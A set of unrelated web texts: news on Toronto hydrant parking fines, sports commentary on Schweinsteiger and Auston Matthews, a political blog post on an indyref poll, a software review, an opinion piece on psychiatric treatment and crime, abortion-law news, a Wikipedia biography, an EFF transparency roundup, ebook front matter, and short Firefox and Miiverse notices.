from parking next to hydrants, add up to $80 million a year.  That may seem like a big number, but Fabrizi says it only represents about one per cent of the money needed to run all of the city's programs.  "The amount of revenue that parking generates is so minuscule compared to the overall revenue that it really doesn't serve a great purpose as a revenue generator."  About half the revenue from parking tickets pays for parking enforcement and operations, he added.  "Parking is a bit of a funny business in terms of budgeting," Fabrizi said.  "We have to budget in terms of firm numbers the costs associated with enforcing parking. So we know that there's about a $50-million cost ... so that is a $50-million budget that has to be paid even if no parking tickets were issued.  "Historically, we see that parking tickets and fines, once it goes through the courts, generate about $80 million a year. So the program pays for itself and then there's a little bit of a margin, about $30 million extra."  Most parking tickets in Toronto are handed out to people who let their parking meters expire or who park in no-parking areas. Tickets for parking too close to fire hydrants only accounted for 1.45 per cent of all parking infractions last year.  While the hydrant at 393 University Ave. is by far the city's golden goose, many others are also quite lucrative.  At 33 Elmhurst Ave., a hydrant lurks in the shadow of a large condo building in North York. Vehicles that parked there have been ticketed 2,253 times since 2008, with fines totalling $207,030.  A nearby federal government building may explain all the parking tickets. The Joseph Shepard building houses branches of Passport Canada, a Canadian Forces recruiting centre and several other federal departments.  If you're visiting Toronto's Mount Pleasant Cemetery, don't park in front of the fire hydrant at 113 Merton St. This unassuming hydrant, tucked between two trees, is the city's third most-ticketed spot, with 2,165 fines handed out amounting to $212,300.  The city also tracks the province or state on the licence plates of people who get fined for parking too close to hydrants. Not surprisingly, almost every ticketed vehicle had Ontario plates. Drivers with Quebec plates were a distant second, followed by visitors from New York and Alberta.  But pity the two poor drivers with Hawaiian plates, who came a long way only to get busted for parking in front of hydrants.
-Bastian Schweinsteiger admitted it "wasn't easy" training by himself during his exile from the first team at Manchester United, but added he didn't give up because he wanted to show the club he was a player people could trust.  Schweinsteiger, 32, was bought from Bayern Munich by then-manager Louis van Gaal in 2015 and finished his United career under the Dutchman's successor Jose Mourinho.  The World Cup winner with Germany, who sat down for an exclusive interview with ESPN FC, spent a somewhat disappointing two years at Old Trafford, making 18 appearances and scoring just once.  Now with the Chicago Fire in Major League Soccer, Schweinsteiger remains upbeat when looking back on his time at Man United, even if things didn't go exactly how he had envisioned.  He said: "In my eyes it was not the right position, but in life sometimes you have this kind of situation where something is not correct and right in your way, but you have to accept it, and I accepted it.  "I said 'OK I accept it, but still want to stay here and want to train. I want to show I am a player you can trust.' And that's what I was doing at Manchester. I was then training with the first team and playing with the first team. I mean it was not easy when I was training by my own for three months."  Bastian Schweinsteiger joined Manchester United in 2015 under then-manager Louis van Gaal. AP Photo/Dave Thompson  Schweinsteiger also suggested that his dedication and professionalism was evident to Mourinho, who expressed regret about the midfielder's treatment at Old Trafford, and that it might have been someone else in the organization's "opinion" that kept him out of first-team reckoning.  The Bayern legend was also adamant that his freeze out was not fitness related.  "It was not that part. It was something different," he said. "[The decision not to play me] was maybe made by someone else without him so I think after I trained and I played and you could see me and how I behave as a professional and he has a different opinion, so it was a little bit unfortunate.  "I think [it would be different] if we would have met in a different situation."  Despite the difficulty he experienced during his time in the Premier League, Schweinsteiger said he has no regrets about the move and in many ways he still fulfilled a dream by playing there.  "It was [difficult], but I always believe in good things," he said. "And I was always dreaming about playing again for United and to help them and I was giving my best in training sessions as well. And at the end of the day, I was playing and I was scoring a goal as well, so that was the situation."  Watch Bastian Schweinsteiger in action as Chicago Fire takes on Seattle Sounders (Saturday, 9 p.m. ET; ESPN and WatchESPN)
-While there may not have been unanimity in 2016 NHL Draft rankings that ought to have had Auston Matthews as their top-ranked player, the staff at PPP didn't cast any doubt on his status within the organization.  Unanimously ranked at No. 1 by all 14 panelists in this year's Maple Leafs' Top 25 Under 25 series, Matthews has almost certainly added some predictability to this ranking for years to come -- or at least until he turns 25 or he's traded (gasp).  Ultimately, what the 2016 ranking came down to was a battle for second place between William Nylander and Mitch Marner, with the former narrowly edging out the latter.  With World Cup of Hockey pre-tournament exhibition games already well underway, Matthews' much-anticipated rookie season as the first Leafs no. 1 selection since Wendel Clark is already in motion. And it will be an unorthodox campaign, one that sees the 18-year-old miss the better part of his first training camp to instead compete against his future teammates and head coach but alongside Morgan Rielly with Team North America.  The hulking centre, who played in his first tuneup game against Team Europe in Quebec City last night -- going scoreless in a little more than 13 minutes of ice time -- will participate in at least five more games (two pre-tournament games against Team Europe and Team Czech Republic and three round-robin games against Team Finland, Team Russia and Team Sweden on September 11, 14, 18, 19 and 21 respectively). If Team North America is successful in finishing in the top half of their group, Matthews could participate in as many as four more games (a semifinal on September 24 or 25 and a best-of-three final that could run as late as October first.  For the Leafs, whose regular season starts in earnest on October 12, this could limit their top rookie and soon-to-be top centre to just one or two preseason games (the Leafs' preseason ends with an away game in Detroit on October 8, just a week after the end of the World Cup).  For Matthews, who was selected to Team North America at the World Cup over the likes of 30-goal scorer Alex Galchenyuk, expectations will be higher than perhaps ever before on a Leafs rookie. No matter how coach Mike Babcock attempts to temper expectations by insisting that Matthews will "start on the third line," Matthews will be placed with franchise-burdening responsibility from the outset and will (already has) become synonymous with the success of the team moving forward no matter how prolific he becomes as an individual.  After Buffalo Sabres rookie Jack Eichel registered 56 points in his rookie season in 2015-2016, the bar has already been set for his fellow National Training Development Program-bred compatriot.  As far as wrapping up the series goes, ultimately it's the voters and writers who make this series so great, providing insight and debate along the way. Proof of that lies in that this year, the 2016 instalment of the T25U25 was read by more people than ever before -- and it wasn't even close. As such, we thought it would be a fitting way to end the series by having our panelists put into perspective just what Matthews means to the organization.  Burtch believes Matthews will be thrust into a position among all-time greats.  In Matthews the Leafs hope they have finally found the heir to the mantle that was worn so well by the likes of Sundin, Gilmour, Sittler and Keon before him. Wandering through the wilderness seem like tradition for the franchise, but in reality, it is a sad state of affairs the once proud organization is in the process of reversing, and Matthews is a large part of that metamorphosis. True generational talent doesn't take multiple years to make an impact in the NHL. The Leafs hope Matthews can hit the ground running. The future begins now. - Burtch  Achariya is confident Matthews will be able to step in and be a top player immediately.  We have already been able to see how Matthews stacks up to NHL-caliber players at the IIHF World Championships this past May. He played for the U.S., and stood out despite the fact that the team did poorly. (IS THERE A HOCKEY CRISIS IN THE US?) Matthews played a well-rounded game with excellent hockey sense, completely unafraid to use his size and ability to back-check when necessary, and used his passing ability to stretch-pass to spring the puck. In the game against Belarus, Matthews was trusted with the second-highest ice time among forwards by the U.S. coach, and ended up scoring twice (once on the PP and once at 5x5), for a three-point game. His size, agility, and maturity on the ice will continue to allow him to play well for the U.S. (oh and the Maple Leafs) next season. - Achariya  Fulemin has no doubts about Matthews' ability so long as he can stay healthy.  If he remains healthy, Auston Matthews is going to be a 1C in the NHL. Simple as that. - Fulemin  While Seldo argues the team belongs to Matthews already, even before he has played a game.  This season Auston Matthews will take over the Toronto Maple Leafs. He'll be the focus of TV, marketing, giveaways, everything will be Matthews. Which is a plus for the other players like Nylander, Kadri, Rielly, etc.. as the pressure will be off them for the start to the season. He'll be one of the Leafs top players, and will wow people every night. Not that I thnk this means they're contenders, I wouldn't put any money on them making the playoffs, but this team will be a much better onbe to watch than last year. - Elseldo  Fifty believe Matthews' experience will help him quickly transition to the NHL game, and that could go down as one of the all-time homegrown players in an organization that has often acquired its top talent via trade or free agency.  Auston Matthews will be in a transition from rookie to future team leader, and I suspect it may take less time than some might think. Matthews has a year of professional hockey under his belt already; he has faced NHLers on the international stage and prevailed. He will do so again at the World Cup of Hockey. Off the ice, Matthews seems like an ideal candidate to handle the relentless Toronto media fishbowl. Yes, he does seem boring, dry, almost robotic in his interviews, but in this market, that might be an asset. Unlike some who have criticized Babcock’s expected decision to start Matthews in third-line minutes, I welcome the idea of easing him in. Prior to drafting Matthews, the Leafs already had a capable 1C in Kadri, and Bozak in a 2C role is fine. I suspect he will flourish in his easy minutes and work his way up before the season is over. Matthews won’t set the world on fire, at least right away. Short of generational talents like Crosby and Ovechkin, no rookie can be expected to be a top scorer in the league. John Tavares had 54 points; Steven Stamkos had 46 (albeit with early season struggles due to a bad coach mismanaging him). I’d likely peg Matthews around those numbers. I’d probably hedge my bets on anywhere from 15-20 goals and 45-50 points. What Matthews means to this organization, though, is hope. Name the last elite homegrown talent the Leafs have had. Phil Kessel was acquired via trade. Mats Sundin was acquired via trade. Doug Gilmour was acquired via comically lopsided trade. You would have to go back to Wendel Clark to find the last face of the franchise developed from within. I think Matthews will be far and beyond better than Clark, or even any of those players. The sky’s the limit. - Mike  Katya thinks Matthews is boring, and she's right (as always).  Auston Matthews is really rather boring. In interviews he's dull, almost lifeless at times, and he never says anything incendiary. He does light up occasionally when he hits a topic he enjoys talking about. He smiles suddenly, and it's shocking to see, but it works to draw you in. He is also a little boring on the ice. He does not have Patrik Laine's big, booming shot. He does not have Jack Eichel's turbo boost breakaway speed. He does not have Connor McDavid's total domination of the game, like he can see into the future ten moves ahead of everyone else. He's more like McDavid than the other two, but with Matthews it is a different kind of dominance. He commands space, not time. He runs the play. He makes the other guys on the ice do what he wants them to do, and not just his own team either. He forces the opposition into the space he wants them to be in so he can do what he wants. He wants the puck, he wants to own the ice, and he can and will appear at will in the slot in scoring position, and you won't always be sure how he got there. Maybe he teleports. He seems smaller on the ice than he is. He is smooth and agile in the offensive zone like a winger, not a big, bruiser of a centre. He likes the sweet spot at the goalie's left hand, a classic left-shooting winger location, and he can slide into place there for a pass like he's been playing wing his whole life. Winger is just a role he plays sometimes to make the other team forget about him until it's time to score, a trick he managed for ZSC while wearing the fancy gold jersey of the top scorer. So, maybe he is psychic. He is one thing for sure: the next star of the Toronto Maple Leafs. - Katya Knappe  Species puts it more simply.  He makes me feel tingly in my special area. - Species 1967  And 67 Sound is confident Matthews has already put himself in a historic position.  Auston Matthews is, quite simply, the best prospect that the Leafs have had in the expansion era. Wendel Clark, their only other #1 pick, was a debatable first overall, not a consensus elite centre. This year, I expect that with 2nd line minutes and PP time Matthews should manage 50 points. Long term, he is the heir to Mats Sundin. A big, skilled (if not physical) 1C with legitimate 40-40 potential able to match up with just about anyone short of Connor McDavid. - 67 Sounds  Regardless of what anyone thinks, it's time to put aside offseason rankings and get the show started.  He'll be okay. Just okay. - Katyaknappe
-Mystery YouGov #indyref poll finds gap closing as well but so far hasn't been published http://t.co/In2xHlmZ7s pic.twitter.com/aNmDN7vpse — Mike Smithson (@MSmithsonPB) February 4, 2014  PB reveals the mystery YouGov referendum survey  The big Scottish #IndyRef story over the past week had been the closing of the gap between those wanting independence and those opposed.  First was the ICM poll for Scotland on Sunday which was followed by TNS BMRB. Now another poll has emerged which also shows the same broad trend.  It’s from YouGov and the only information we have is from a summary PDF from the pollster featured above.  We have no idea who paid for this and why the results have not been published even though it is now a week old. Normally data doesn’t go onto YouGov’s summary tracker tables until the poll has come out officially.  In the past the No campaign – Better Together – has commssioned YouGov. Was it the client with this poll?  Whatever the numbers support the big trend that YES is making progress something that should worry those campaigning to retain Scotland in the UK.  Maybe this will all become clearer during the day but it is highly unusual for a poll like this to have, apparently, been withheld.  Mike Smithson  2004-2014: The view from OUTSIDE the Westminster bubble  Follow @MSmithsonPB
-Apache OpenOffice is a full suite of office applications: word processor, database, spreadsheet, presentation, and graphics. Each of them is full-featured and robust. Though not always matching Microsoft Office in terms of maximum bells and whistles, each application goes far beyond the basics in its class. Not bad for a free suite.  You can start designing forms for databases entry with an auto-generated form, then customize it extensively.  Apache OpenOffice is a long-standing competitor to Microsoft Office, with the roots of its code going back over ten years. It is a free, open-source product under the auspices of the well-known Apache Software Foundation, with regular updates, maintenance, and bug fixes.  Like LibreOffice and OpenOffice.org, Apache OpenOffice "forked" from Oracle OpenOffice (which grew from StarOffice) in 2010. The sidebar interface was based on Lotus Symphony, which was donated to Apache Software in 2012. Despite the multiple code inputs, Apache OpenOffice feels smooth and cohesive—important in an office suite.  The individual applications in Apache OpenOffice have a good level of integration. The menu and toolbar for each window are relevant to the current document, but you can always go to the "File" menu and create a new document of another type, which will then open in its own window. Including information from other applications, such as database rows in a Writer document, is not particularly difficult.  Sadly, faux-Victorian prose is not within editorial guidelines for reviews.  Writer offers a long list of functions: document templates, frames, mail merge, a style manager, section-based headers and footers, and much more. The sidebar docking feature introduced in Apache OpenOffice 4.0 is very useful if you have a wide monitor, as it's easy to place multiple panels so that all controls are visible and accessible.  The layout and design options are flexible, but not quite at the level of Word 2007. For example, if you select a 'banded' table style, and insert or delete rows, the banding does not automatically adjust; you must select the table and re-apply the style.  Tracking doughnut consumption is perhaps the best use for any spreadsheet.  Base provides a functional set of database design and formatting tools. Some of the interface elements, such as query creation, are not entirely intuitive. There were some oddities that are sensible in retrospect, but don't call themselves out to a user: For example, switching a text field from "single line" to "multi line with formatting" disconnected it from the underlying database field (a long text field), because formatted text requires a binary field. I'd have appreciated a warning or error message.  This points out one of the flaws with Apache OpenOffice: The documentation is sparse, and not well-aimed at non-technical users. The information on some features is barely more than the feature's name and self-evident function. The definition for the "Criteria" field of the query editor is "Specifies the criteria by which the content of the data field should be filtered," with no examples or guidelines. Writing code is more fulfilling and interesting, as an end in itself, than writing documentation, so this is a common issue with open source software.  General interface responsiveness in Apache OpenOffice is good, though there's a very slight lagginess. Generally, AOO obeys standard Windows OS conventions. The look and feel are closer to XP than to Vista or 7—and leagues away from 8, for which it's tested but not yet certified—which many will consider a feature. I experienced no redraw issues, artifacting, or other oddities.  Overall, I like Apache OpenOffice. The feature set includes what I expect in an office suite, and the developers have made a strong effort to make switching between applications feel smooth and intuitive. A Windows-only user who already has access to recent versions of Office will probably not be tempted unless they genuinely prefer open source for personal or financial reasons…but those who have no office suite, those who need a multi-platform (Windows, Mac OS, and *nix), and those who have only older version of Office will all find something worth checking out.  The strength of the individual applications is such that Apache OpenOffice is fine even if you only need a single one of the components. You won't sacrifice significant functionality. Given that it's free, it's hard to argue against at least trying it out.  Note: The Download button takes you to the developer's site, where you can download the latest version of this open-source software.
-I have written many times before that the answer to curbing crime in America is to leverage the power of psychiatry. Now, more data are in strongly supporting that idea.  A large-scale study in Sweden has shown that treating attention deficit hyperactivity disorder (ADHD) with stimulants like Adderall or Ritalin reduced criminality by 32 percent in men and 41 percent in women.  This is likely a reliable finding, in part because the Swedish study was based on 25,656 patients with ADHD—a very impressive sample size. It is also likely reliable because, unlike the United States, Sweden does not seem to over-diagnose ADHD. Only 0.7 percent of the population are given that diagnosis. That means that the people in the study probably really had the condition and really did benefit from the medication.  ADHD is found in at least 10 percent of adult prisoners, and sometimes as many as 70 percent (depending on the study). A high percentage of juvenile offenders also merit the diagnosis, despite the fact that, sadly, only a small percentage were diagnosed with it prior to being incarcerated. ADHD medications have long been known to reduce impulsivity and aggression in those with the disorder – so the Swedish study is no surprise.  This study can be added to a number of other studies espousing the positive effects of using psychiatric medications. For example, research has shown startling reductions in sexual offenses (including child rape) when men are treated with Depo-Provera, which reduces testosterone levels. Another study saw reductions in prison terms in addicts treated with Vivitrol, a monthly injection that reduces the body’s response to opiate, like heroin. And yet another study has revealed the potential for dramatic reductions in driving under the influence in those taking Antabuse, which makes people violently ill when they drink alcohol.  So the question really becomes: Why are we not deploying psychiatric medications and psychotherapy to stop violent crime?  Were we to merely make a psychiatric evaluation a routine part of any first violent offense, as well as make psychiatric treatment a component of probation for those with ADHD, alcohol dependence, heroin dependence and pedophilia, we would save millions of victims from being assaulted, save millions of Americans a life of crime and save the United States many, many billions of dollars a year.  The data are in. And once again, we learn that guns aren’t the problem, and gun control isn’t the answer. Mental illness is the problem, and treating it is the answer.
-LITTLE ROCK � The U.S. Supreme Court on Monday struck down a Texas law that imposed tough restrictions on abortion clinics, a ruling that both supporters and opponents of abortion rights said could make it more difficult to defend restrictions approved last year in Arkansas.  LITTLE ROCK � The U.S. Supreme Court on Monday struck down a Texas law that imposed tough restrictions on abortion clinics, a ruling that both supporters and opponents of abortion rights said could make it more difficult to defend restrictions approved last year in Arkansas.  But abortion opponents said the fight is far from over and said they expect to see Arkansas lawmakers impose new restrictions on the practice next year.  In a 5-3 decision, the currently eight-member high court said Texas' 2013 law requiring doctors who perform abortions to have admitting privileges at nearby hospitals and that all abortion clinics meet the operating standards of surgical centers imposed an undue burden on women seeking abortions. Justices Samuel Alito and Clarence Thomas and Chief Justice John Roberts dissented.  Last year, the state Legislature and Gov. Asa Hutchinson enacted a law to require an abortion clinic that administers the abortion drug mifepristone to have a contract with a doctor who has hospital-admitting privileges and require the provider to administer the drug according to the instructions and dosage level approved by the U.S. Food and Drug Administration.  Planned Parenthood of the Heartland and Dr. Stephanie Ho filed a federal lawsuit challenging the law. They later dropped the portion of the suit alleging the FDA protocols were out of date after the FDA updated its protocols, but the challenge to the admitting-privileges requirement is still pending.  In March, U.S. District Judge Kristine Baker issued a preliminary injunction barring enforcement of the law until the suit is resolved. Attorney General Leslie Rutledge is pursuing an appeal of that order to the 8th Circuit Court of Appeals in St. Louis.  Rutledge was among attorneys general from 24 states who submitted a friend-of-the-court brief to the U.S. Supreme Court urging it to uphold the Texas law. In a statement Monday, she expressed concern about the impact of the decision in that case.  "Arkansas, like Texas, has a profound interest in protecting the health of all women, but today's unfortunate ruling puts that at risk," she said. "The court has issued a decision that makes it even more challenging for a state to provide commonsense health and safety regulations for abortion procedures."  Rita Sklar, executive director of the American Civil Liberties Union of Arkansas, which is helping to represent the plaintiffs in the Arkansas case, said in a statement Monday the ruling means Arkansas' admitting-privileges requirement is more likely to be ruled unconstitutional.  "We must tell Arkansas lawmakers that, in today's ruling, the court recognized these abortion restrictions for what they are: sham laws that do nothing to protect a woman's health but do prevent her from getting the care she needs. The sham stops today," Sklar said.  Jerry Cox, president of the Christian conservative Family Council, said he did not expect the ruling to deter Arkansas legislators from enacting further abortion restrictions during next year's session.  "For example, we need to be certain the Health Department is doing the best job possible inspecting abortion facilities, and we need to be certain that the results of those inspections are made public to ensure clinics operate as responsibly as possible," Cox said in a statement.  "We also need to be certain abortion providers adequately inform women regarding abortion's risks and alternatives. And the state of Arkansas needs to do all it can do to help women with unplanned pregnancies so that their children can be adopted or cared for rather than aborted," he said.  U.S. Rep. Bruce Westerman, R-Hot Springs, said in a statement, "The Supreme Court may have ruled in favor of abortion providers today, but that will not stop states like Arkansas, Texas, and others from passing laws that are supported by its people. We will never stop fighting for the innocent and one day we will overcome this great injustice in America."  U.S. Sen. Tom Cotton, R-Ark., said, "I deeply believe that Roe v. Wade was wrongly decided and that it should be � and will be � overturned someday. But before that time, we all should have been able to agree that duly elected representatives of the people can pass laws to protect women from unsafe abortion providers. That's now impossible after this decision, and it will be to the detriment of the well-being of women across the nation."
-"Lady Sarah Spencer" redirects here. For other uses, see Sarah Spencer (disambiguation)  Lady Elizabeth Sarah Lavinia McCorquodale (née Spencer; born 19 March 1955)[1] is one of the two older sisters of Diana, Princess of Wales, the other being Jane Fellowes, Baroness Fellowes.  Early life [ edit ]  Elizabeth Sarah Lavinia Spencer was born with the honorific "The Honourable"'; she acquired the courtesy title "Lady" in 1975, when her grandfather died and her father became the 8th Earl Spencer. She suffered from the eating disorder anorexia nervosa in her early twenties.[2] She was educated firstly at Riddlesworth Hall School in Norfolk and secondly at West Heath boarding school near Sevenoaks in Kent. After passing O Level exams she left West Heath to work in London.  Family [ edit ]  Sarah married Neil Edmund McCorquodale (born 4 October 1951), son of Alastair McCorquodale and Rosemary Sybil Turnor, on 17 May 1980 in Northamptonshire, England. Neil is a 2nd cousin once removed of Lady Sarah's stepmother, Raine Spencer.  Neil and Lady Sarah McCorquodale have three children:[3]  Emily Jane McCorquodale (2 July 1983); she married James T. R. Hutt on 9 June 2012. They have two children: Isabella Rosemary Hutt (18 June 2014) Henry George Thomas Hutt (25 March 2016)  George Edmund McCorquodale (17 November 1984); he married Bianca Moore, daughter of Gavin Moore, on 6 August 2016.  Celia Rose McCorquodale (1989); she married George Woodhouse on 16 June 2018 at St Andrew and St Mary's Church, Stoke Rochford, Lincolnshire, England. For her wedding, Celia wore the Spencer Tiara, which her aunt Diana had worn on her wedding day to Prince Charles.  Emily received radiation treatment for plasmacytoma in 2003.[4]  Lady Sarah was accompanied by her husband and their children to the funeral of Diana at Westminster Abbey on 6 September 1997.  Career [ edit ]  She and her family reside near Grantham, Lincolnshire where she served a one-year term as High Sheriff of Lincolnshire in 2009.[5][6] She became a master of the Belvoir Hunt in May 2010.[6] Lady Sarah was also president of the Diana, Princess of Wales Memorial Fund, which raised £100 million for various charities.[7][8] The Fund unsuccessfully took legal action in 1998 against the Franklin Mint over the unlicensed use of Diana's image.[7] The Fund closed at the end of 2012.[9]  Relationships [ edit ]  Diana, Princess of Wales [ edit ]  In 1977, Sarah's relationship with Prince Charles led to the first meeting between Diana and her future husband.[10] She later commented on her sister's marriage saying: "I introduced them. I'm Cupid."[11] During the period in which she dated the prince, she allegedly met two reporters, James Whittaker and Nigel Nelson, at a restaurant and gave them an exclusive report on her royal connection.[12] She is said to have admitted to having been diagnosed with anorexia, having "thousands of boyfriends", a past problem involving alcohol, and that she had started keeping a scrapbook of all the press clippings about her royal romance that she intended to "show" future grandchildren. "Her head seemed to be turned by the publicity", the two reporters later said. She also declared that she would not marry Charles "if he were the dustman or the King of England".[12] When the article was released, she showed it to the prince, which made him furious[12] and he replied, "You've just done something incredibly stupid". The relationship dissolved soon after that. Some have stated the relationship between her and Diana was strained, because of her long resentment of the Prince marrying Diana and not her, though others (including Diana's biographer Andrew Morton) have said she was one of the few people Diana trusted. Later in Diana's life, she often accompanied Diana on official visits as one of her ladies-in-waiting.[13]  Upon the death of Diana on 31 August 1997, Sarah flew to Paris with her younger sister, Jane, and Prince Charles to accompany Diana's body back to England. She contributed to the readings at Diana's funeral. She was co-executor of Diana's will and was president of the Diana, Princess of Wales Memorial Fund. Sarah attended the wedding of her nephew Prince William to Catherine Middleton on 29 April 2011. It is said that William and Catherine are close to Lady Sarah, with whom they spent a weekend on the 16th anniversary of Diana's death.[14] Sarah also attended the wedding of her other nephew Prince Harry to Meghan Markle on 19 May 2018.  Other siblings [ edit ]  Sarah has shared a lifelong close relationship with her younger sister Jane. Author Anne Edwards, who wrote a best-selling biography of Diana, said Diana's two older sisters were extremely close and loyal to each other. Sarah gave her first child, Emily, the middle name of 'Jane' in a tribute to her younger sister. Her relationship with younger brother Earl Spencer has been volatile at the best of times. As the eldest and the youngest of the Spencer children, they have clashed frequently in adulthood and childhood. In recent years, possibly due to the death of their sister, the siblings appear to have settled previous differences.  Friends [ edit ]  In 2018, Sarah spoke publicly in support of George Grant, an employee of Belvoir Hunt who assaulted foxhunt monitors that she had known for 27 years. Grant along with his son and other men, assaulted the hunt monitors who were affiliated with the League Against Cruel Sports. Sarah, who served as joint master of the Belvoir Hunt, claimed that Grant's actions were out of character.[15][16]  Titles and styles [ edit ]  1955–1975: The Honourable Sarah Spencer  1975–1980: Lady Sarah Spencer  1980–present: Lady Sarah McCorquodale  Ancestry [ edit ]  References [ edit ]  Bibliography [ edit ]  Williamson, D. (1981a). "The Ancestry of Lady Diana Spencer". Genealogist's Magazine . 20 (6): 192–199.  Williamson, D. (1981b). "The Ancestry of Lady Diana Spencer". Genealogist's Magazine. 20 (8): 281–282.
-EFF Releases New Government Documents on Drones and Law Enforcement Training  EFF recently posted three new sets of documents obtained through FOI requests. Yesterday, as reported in the Wall Street Journal, EFF released the lists of private and public entities that have been granted authorization by the Federal Aviation Administration (FAA) to fly drones in the United States. The lists were obtained through EFF’s lawsuit against the FAA, which seeks a variety of information on domestic drone authorization and use. The lists provide the public with the most thorough accounting to date of the organizations operating drones within our borders. Yesterday, along with EFF’s disclosure, Congressmen Ed Markey and Joe Barton sent the FAA a letter (pdf) asking the agency to disclose information similar to that sought in EFF’s FOIA suit.  A second, related release, which we blogged about previously, was obtained through a public records request to the Miami-Dade Police Department for information on it’s drone program. In response, the Miami PD released its Certificate of Authorization (COA) for its drone – the first time a COA has been made publicly available.  Finally, EFF also posted over 2,000 pages of records released in response to a FOIA request to DHS’ Federal Law Enforcement Training Center (FLETC). EFF sought information on FLETC’s Mobile Device Investigation Program, which teaches federal officials how to conduct investigations based on information obtained from cell phones and other electronic devices.  EFF Attorney Weighs in on DOJ's Unfulfilled Promise of Transparency  Earlier this week, EFF Senior Counsel David Sobel co-authored an article in the National Law Journal documenting – yet again – the Obama administration’s failure to live up to its promise of openness and transparency.  While the Obama administration continues to tout its transparency accomplishments, the authors noted that, “[a]s attorneys who each have more than 30 years' experience litigating FOIA cases in the federal courts, our assessment is decidedly less rosy.” In particular, the article faulted the Department of Justice (DOJ) for the “breadth of situations in which DOJ will fight to maintain official secrecy,” even in spite of a clear promise from Attorney General Holder to only defend FOIA withholdings when disclosure was clearly prohibited or would produce actual harm.  The article concludes:  Three years ago, we rejoiced when President Obama re-established important open-government tenets, and his new attorney general promised DOJ would vigorously enforce the law's public disclosure requirements. Unfortunately, we are still waiting to see that promise fulfilled.  You can read the full article here.  The Secrecy of Dissent Within the Government  Two items this week demonstrated the troubling issue of government secrecy ocurring at the intersection of questionable governmental policies and internal disagreement between individuals and agencies within the federal government.  The first, reported by Spencer Ackerman at Wired, concerns a secret memo written in February 2006 by a top adviser to the State Department. The memo warned that the Bush administration’s use of “cruel, inhuman or degrading” interrogation techniques amounted to a “felony war crime.” However, not only was the memo secret until this week (after a three-year wait for the State Department to respond to a FOIA request), but, according to the memo’s author, Bush administration officials determined the “memo was not considered appropriate for further discussion and that copies of [the] memo should be collected and destroyed.” Luckily a copy survived and you can read Wired’s full report, and the released memo, here.  In a second, strikingly similar example, a recently released memoir, Traitor: The Whistleblower and the American Taliban, describes the story of a Justice Department attorney who blew the whistle after her legal advice was disregarded. A book review from Secrecy News provides the background: Following the apprehension of Jon Walker Lindh—an American citizen arrested in Afghanistan for fighting American forces alongside the Taliban—Jesselyn Radack, a DOJ attorney and specialist in legal ethics, advised that Lindh not be interrogated without an attorney present. Not only was Lindh not provided an attorney during interrogation, but the DOJ “publicly denied having received any such legal advice, and even destroyed evidence to the contrary.” Steven Aftergood of Secrecy News writes:  Ms. Radack was not looking for a fight, but only to do the right thing. For her trouble, she was forced out of her Justice Department position, put under criminal investigation, fired from her subsequent job, reported to the state bar, and put on the “no fly” list.  You can read the full review here.  Some secrecy is inevitably needed so that officials within the federal government feel free to air viewpoints internally and without inhibition. Ultimately – and at least in theory – this allows lower level employees to provide candid opinions, and permits officials with decision-making authority to choose the best legal or policy analysis from the many. This, in turn, ensures sound government policies are ultimately chosen.  Secrecy in the name of honest debate is one thing, but the government’s action in both these cases demonstrates something far more troubling: the destruction of dissent. Not only does the destruction of these memos likely run afoul of government record-keeping regulations, but the suppression and destruction of the evidence of dissenting viewpoints undermines the integrity of the government’s final policy position. The need to silence dissent is a hallmark of flimsy ideas.
-The Revolt of the Spectacular Society  by  Adam Weishaupt  Published by Hyperreality Books at Smashwords  Copyright 2011 Adam Weishaupt  The right of Adam Weishaupt to be identified as the author of this work has been asserted in accordance with sections 77 and 78 of the Copyright Designs and Patents Act 1988. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopy, recording, or otherwise, without the prior permission of the author, except in the case of a reviewer, who may quote brief passages embodied in critical articles or in a review.  Quotations  “ A civilization which leaves so large a number of its participants unsatisfied and drives them into revolt neither has nor deserves the prospect of a lasting existence.” -- Sigmund Freud  “ I am interested in anything about revolt, disorder, chaos – especially activity that seems to have no meaning. It seems to me to be the road toward freedom... Rather than starting inside, I start outside and reach the mental through the physical.” -- Jim Morrison
-The tab queue feature lets you open links in the background without leaving the app you're on. Firefox will load your links for later viewing so you can continue using other apps without interruption.  Enable tab queuing  Tab queuing can be enabled through the Settings menu: Tap the menu button (either below the screen on some devices or at the top-right corner of the browser) and then select Settings (you may need to tap More first) . Select General . Check the box next to Tab queue .  Tab queuing can be enabled through the Settings menu: Tap the menu button (either below the screen on some devices or at the top-right corner of the browser) and then select Settings (you may need to tap More first) . Select General . Check the box next to Open multiple links .  Open tabs in the background  Suppose you want to open a link in one of your apps, tab queuing opens the link in the background without interrupting you. Here's how it works:
-Nintendo has spoken to fans through Miiverse, addressing concerns and questions regarding the Miiverse redesign. The company has also stated the mentality behind the design, aiming for a more game-centric format. Post limitations will help keep the network "on topic" and focusing on video games.  "First and foremost, Miiverse is created for gamers to talk about games - to give everyone the chance to ask questions about a game/app, for example, or if you get stuck and need help in-game. "But over time, some people have started using Miiverse for other things, such as long chats that are not strictly game-related. These posts would prevent others from enjoying their favourite communities to the fullest. In order to keep Miiverse game-centred for you, we decided to redesign Miiverse, which includes introducing the posting limitation." — Erica, Nintendo Representative on Miiverse  That said, Nintendo addressed five specific points regarding the redesign. From the Activity Feed to Drawings, here's what is about to change.  Some of you had concerns about other parts of the renewal as well. Let me clarify some of those for you:  1.) You will be able to attach screenshots to your drawings in the Drawings section.  2.) It will be possible to post the screenshots saved in your Album section into your Play Journal.  3.) We are planning to enable the posting of screenshots saved in the Album also into the “Drawings” and “Discussion” sections. This will be implemented sometime in the near future.  4.) Posts and comments made before the renewal will not be deleted and will be viewable also after the renewal.  5.) The Activity Feed will remain as it is, you just won’t be able to post in it. You can still see the posts made by your friends and the people that you are following.  Source: Miiverse
